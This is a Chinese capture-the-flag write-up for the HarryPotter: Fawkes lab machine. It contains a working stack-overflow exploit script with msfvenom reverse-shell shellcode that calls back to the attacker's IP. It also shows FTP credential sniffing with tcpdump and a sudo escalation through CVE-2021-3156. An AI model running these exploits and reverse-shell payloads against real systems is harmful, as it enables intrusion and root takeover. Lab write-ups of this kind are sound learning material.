分类： 二进制安全

HARRYPOTTER：FAWKES

  • 哈利波特靶机三部曲终于刷完了~~这个靶机花了我好长时间，基本都在研究栈溢出上了。。。

靶机描述

Fawkes is the 3rd VM of 3-box HarryPotter VM series in which you need to find the last 3 horcruxes hidden inside the machine and defeat Voldemort.

Fawkes 是 3 盒 HarryPotter VM 系列的第三款 VM，您需要在其中找到隐藏在机器内的最后 3 个魂器并击败 Voldemort。

信息搜集

目标确认

攻击机kali IP：192.168.93.131

靶机Debian IP：192.168.93.139

image.png

开放了 21 & 22 & 80 & 2222 & 9898

image.png

路径扫描也没有什么很有用的信息

image.png

21端口允许匿名登陆，ssh开放了两个端口，有一个是9898端口。

随后进入ftp看一下server_hogwarts

image.png
image.png

很有可能这个文件就是一个突破点

缓冲区溢出

原来WEB的尽头是pwn吗？悟了。

使用edb调试server_hogwarts

nc 192.168.93.139 9898

image.png

输入500个A，edb弹出错误框，地址0x41414141无法执行，A的16进制就是0x41

image.png

可看到eip寄存器还有esp寄存器被覆盖了，说明存在缓冲区溢出：

image.png

利用msf生成自带字母

┌──(root💀kali)-[/home/kali/桌面]
└─# msf-pattern_create -l 500             
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq

将此结果再次输入，得到覆盖地址为64413764

image.pngimage.png

msf-pattern_offset -l 500 -q 64413764，查询偏移位置为112，即第113开始的字符将会写进eip寄存器

image.png

EXP编写

import socket

if __name__ == '__main__':
    junk = b'A' * 112
    eip = b'B' * 4 + b'C' * 10
    s = socket.socket()
    s.connect(('127.0.0.1', 9898))
    s.send(bytes(junk + eip))

eip的值等于4个B+10个C，如果运行上面的脚本，eip是4个B即16进制为0x424242，那就是对的。
​image.pngimage.png

并且esp被覆盖了10个C，现在的思路是要让eip的值指向esp，然后esp的内容是shellcode，这样就能任意执行我们的代码了。

edb自带查找功能，点击Plugins->OpcodeSearcher->Opcode Search，选择ESP->EIP，搜索server，Permissions要选择带x，可执行权限的。

image.png

找到了两个，有jmp esp，这里就确定用0x08049d55地址

image.png

生成shellcode,

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.93.131 LPORT=4444 -b "\x00" -f py

image.png

最终的POC

#!/usr/bin/python3

import socket

buf =  b""
buf += b"\xba\xd7\xd0\x3c\xc7\xd9\xee\xd9\x74\x24\xf4\x5d\x31"
buf += b"\xc9\xb1\x12\x31\x55\x12\x03\x55\x12\x83\x12\xd4\xde"
buf += b"\x32\xad\x0e\xe9\x5e\x9e\xf3\x45\xcb\x22\x7d\x88\xbb"
buf += b"\x44\xb0\xcb\x2f\xd1\xfa\xf3\x82\x61\xb3\x72\xe4\x09"
buf += b"\x84\x2d\x4b\x4a\x6c\x2c\x74\x5d\x31\xb9\x95\xed\xaf"
buf += b"\xe9\x04\x5e\x83\x09\x2e\x81\x2e\x8d\x62\x29\xdf\xa1"
buf += b"\xf1\xc1\x77\x91\xda\x73\xe1\x64\xc7\x21\xa2\xff\xe9"
buf += b"\x75\x4f\xcd\x6a"

# 0x08049d55
# Since, intel uses little endian, we have to use it from backwards
addr = b'\x55\x9d\x04\x08'

shellcode = b'\x41' * 112 + addr + b'\x90' * 32 + buf;

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.93.139', 9898))
s.send((shellcode))
s.close()

一个命令行监听4444端口，一个在执行脚本./payload.py

image.png
image.png

发现.mycreds.txt，尝试ssh连接

image.png

提权

sudo /bin/su

image.png

可执行root权限，从这里我们可以直接cat到第一个魂器

image.pngimage.png

接下来，看一下人家给咱们的提示note.txt

2b1599256ca6:~# cat note.txt
Hello Admin!!

We have found that someone is trying to login to our ftp server by mistake.You are requested to analyze the traffic and figure out the user.

我们发现有人试图错误地登录我们的 ftp 服务器。请您分析流量并找出

刚学到的流量提取命令

tcpdump port ftp or ftp-data
tcpdump -i eth0 port 21

image.png

  • USER：neville
  • PASS：bL!Bsg3k

ssh再连接这个neville用户，可以找到第二个魂器：

image.png
image.png

最终提权

image.png

正如我们看到的，靶机的sudo版本是1.8.27。版本比较低，有一个CVE-2021-3156：Sudo中基于堆的缓冲区溢出 (Baron Samedit)，影响范围1.8.2--1.8.31p2所有旧版本的sudo程序，任何未经授权的用户都可以使用默认sudo配置在易受攻击的主机上获得root权限。

参考资料：

我们可以利用这个exploit_nss.py来提权，但是会报错，是没有确定sudo的路径，

neville@Fawkes:~$ which sudo
/usr/local/bin/sudo

然后修改这个路径，保存后靶机scp下载脚本，执行即可

image.png
image.png
image.png
image.png

完结撒花！！！

写在后面

《HARRYPOTTER：FAWKES》是我目前做过难度最高的一台靶机，有些思路也是我第一次遇到。我个人是学web和misc的，之前从来没接触过二进制安全，这次栈溢出的寸步难行更是提醒自己要往其他方向学习了，可能这也是趋势吧~